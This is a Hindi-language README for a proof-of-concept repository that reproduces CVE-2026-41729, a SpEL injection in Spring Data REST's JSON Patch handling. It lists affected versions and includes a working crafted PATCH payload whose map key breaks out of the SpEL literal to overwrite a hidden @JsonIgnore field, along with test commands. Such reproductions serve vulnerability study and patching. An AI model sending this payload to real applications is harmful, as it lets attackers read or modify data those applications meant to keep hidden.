
CVE-2026-41729 प्रूफ ऑफ कॉन्सेप्ट
यह रिपॉजिटरी एक आधिकारिक Spring सुरक्षा सलाहकार के रूप में प्रकट CVE-2026-41729 का न्यूनतम पुनरुत्पादन PoC है।
Spring Data REST SpEL Injection via Map Key in JSON PatchAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:NSpring Data REST के JSON Patch अनुरोध (Content-Type: application/json-patch+json) को संसाधित करते समय, map-typed property के map key पथ खंड को SpEL अभिव्यक्ति में सीधे सम्मिलित करने की समस्या थी।
आधिकारिक सलाहकार के अनुसार, यदि persistent entity Map प्रकार की गुण को उजागर करता है और हमलावर उस item resource पर PATCH अनुरोध भेज सकता है, तो map key segment में हेरफेर करके इच्छित map indexer literal से बाहर निकलकर aggregate root संदर्भ में SpEL sub-expression का मूल्यांकन कराया जा सकता है। पढ़ने वाले patch path और लिखने वाले patch path दोनों प्रभावित होने की बात कही गई है।
यह PoC उनमें से लिखने वाले patch path का उपयोग करके दिखाता है कि सामान्य REST अभिव्यक्ति में अनदृश्य @JsonIgnore फ़ील्ड को crafted JSON Patch पथ के माध्यम से बदला जा सकता है।
आधिकारिक सलाहकार के अनुसार प्रभावित उत्पाद:
प्रभावित संस्करण:
3.7.0 - 3.7.194.3.0 - 4.3.164.4.0 - 4.4.144.5.0 - 4.5.115.0.0 - 5.0.5सुधारित संस्करण:
3.7.204.3.174.4.154.5.12 या 4.5.11.15.0.6 या 5.0.5.1परीक्षण एक वास्तविक Spring Boot एप्लिकेशन को चलाता है और Spring Data REST repository endpoint पर HTTP PATCH अनुरोध भेजता है।
डोमेन ऑब्जेक्ट की निम्नलिखित संरचना है:
people mapPerson के अंदर मौजूद लेकिन Jackson/Spring Data REST अभिव्यक्ति में छिपा हुआ hiddenChildren mapसामान्य REST प्रतिक्रिया में hiddenChildren और उसके आंतरिक मान दिखाई नहीं देते।
GET /wrappers/sample
सीधे छिपी हुई गुण निर्दिष्ट करने वाला JSON Patch अस्वीकार कर दिया जाता है।
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a/hiddenChildren/b/name",
"value": "after"
}
]
लेकिन crafted map key का उपयोग करने पर Spring Data REST के JSON Patch पथ -> SpEL पथ रूपांतरण प्रक्रिया में इच्छित map key literal से बाहर निकलकर छिपी हुई गुण पथ तक पहुँचा जा सकता है।
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a'].hiddenChildren['b/name",
"value": "after"
}
]
कमजोर संस्करण में यह अनुरोध सफल होता है और आंतरिक मान इस प्रकार बदल जाता है।
before -> after
परीक्षण यह सुनिश्चित करता है कि map में वास्तविक key a'].hiddenChildren['b उत्पन्न नहीं हुई है, बल्कि अभिव्यक्ति breakout के कारण छिपा हुआ property path संशोधित हुआ है।
Windows:
.\mvnw.cmd test
macOS/Linux:
./mvnw test
कमजोर संस्करण के लिए अपेक्षित परिणाम:
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS
परीक्षण की सफलता का अर्थ है "कमजोर व्यवहार पुनरुत्पादित हुआ"। अर्थात, कमजोर निर्भरता में crafted JSON Patch अनुरोध सफल होता है और छिपी हुई आंतरिक स्थिति में परिवर्तन सिद्ध होता है।
यह रिपॉजिटरी Spring Boot 3.5.14 parent का उपयोग करती है, जिससे spring-data-rest-webmvc 4.5.11 हल होता है। यह आधिकारिक सलाहकार के प्रभाव क्षेत्र 4.5.0 - 4.5.11 में आता है।
Spring Data REST endpoint पर JSON Patch अनुरोध भेजने में सक्षम हमलावर map key में हेरफेर करके सर्वर-पक्ष पर अनावश्यक SpEL पथ मूल्यांकन को प्रेरित कर सकता है। इसके परिणामस्वरूप, एप्लिकेशन द्वारा REST अभिव्यक्ति में उजागर न करने के इच्छित ऑब्जेक्ट ग्राफ के आंतरिक मान पढ़े या संशोधित किए जा सकते हैं।
आधिकारिक सलाहकार ने गोपनीयता और अखंडता प्रभाव को उच्च माना है।
आधिकारिक Spring सलाहकार में इस प्रकार उल्लेख किया गया है।